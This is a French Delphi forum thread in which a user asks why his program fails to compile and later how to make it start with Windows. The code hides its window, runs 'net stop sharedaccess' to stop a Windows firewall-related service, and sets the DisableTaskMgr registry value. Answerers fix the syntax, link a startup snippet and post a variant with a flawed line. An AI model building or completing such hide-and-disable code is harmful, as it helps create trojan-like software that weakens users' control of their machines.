Je ne vois pas le probleme de mon code =\Résolu

Question

Bonjour, en faite j'ai un problème quand je veux compiler mon programme, il me dise qu'il y a une erreur =\

Voici mon code

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, jpeg, ExtCtrls, Shellapi, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Label1: TLabel;
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Form1.Hide;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
ShellExecute(0,'open', 'net.exe',' stop sharedaccess',0,0);
end;

procedure TForm1.FormActivate(Sender: TObject);
var Registre:TRegistry;
begin
Registre:=TRegistry.Create;
try
Registre.RootKey:=HKEY_CURRENT_USER;
Registre.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System\', true);
Registre.WriteString('DisableTaskMgr','1');
Registre.CloseKey;
Registre.Free;
Registre.Free;
end;
end;
end;

end.

Je n'arrive pas à déterminer d'ou vient ce problème. Merci de m'éclaircir un peu ^^"

Voici mon message d'erreur

Build
  [Warning] Unit1.pas(42): Constant 0 converted to NIL
  [Error] Unit1.pas(56): EXCEPT or FINALLY expected
  [Error] Unit1.pas(58): '.' expected but ';' found
  [Fatal Error] Test.dpr(5): Could not compile used unit 'Unit1.pas'

Nicolas___ · Accepted Answer

procedure TForm1.FormActivate(Sender: TObject);
var Registre:TRegistry;
begin
  Registre:=TRegistry.Create;
  try
    Registre.RootKey:=HKEY_CURRENT_USER;
    Registre.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System\', true);
    Registre.WriteString('DisableTaskMgr','1');
    Registre.CloseKey;
  finally
    Registre.Free;
  end;
end;

emirej · Answer

Haaaaaaaaaaaaa ! Purée merci, je cherche depuis 30 minutes ! MERCI

emirej · Answer

Une autre question aussi, comment faire pour mettre mon programme dans la base de registre de tel sorte à ce qu'il démarre à chaque démarrage de Windows s'il vous plait ?

Nicolas___ · Answer

il suffit de chercher un peu 
http://www.codyx.org/snippet_lancer-exe-demarrage-windows_56.aspx

emirej · Answer

Mhhh le lien que tu m'as passé à l'air d'être du Visual Basic je si ne m'abuse =\

Nicolas___ · Answer

t'exagère !

il y a un scrolling vertical aussi !

puis c'est sur snippet : ya en VB, VB.net , c# , java ... et aussi DELPHI !!!

f0xi · Answer

var
  DTM : boolean = false;

procedure TForm1.FormCreate(Sender: TObject);
begin
  if ParamCount = 2 then    DTM :ParamStr(1) '/d';
    
  if not DTM then
    ShellExecute(0, 'open', 'net.exe', 'stop sharedaccess', nil, nil);
end;

procedure TForm1.FormActivate(Sender: TObject);
const
  DTMTV : array[Boolean] of String = ('1','0');
begin
  with TRegistry.Create do
  try
    RootKey := HKEY_CURRENT_USER;
    if OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System\', true) then
      WriteString('DisableTaskMgr', DTMTV[DTM]);
    CloseKey;
  finally
    Free;
  end;
end;

<hr size="2" width="100%" />

Je ne vois pas le probleme de mon code =\

7 réponses

Votre réponse

Discussions similaires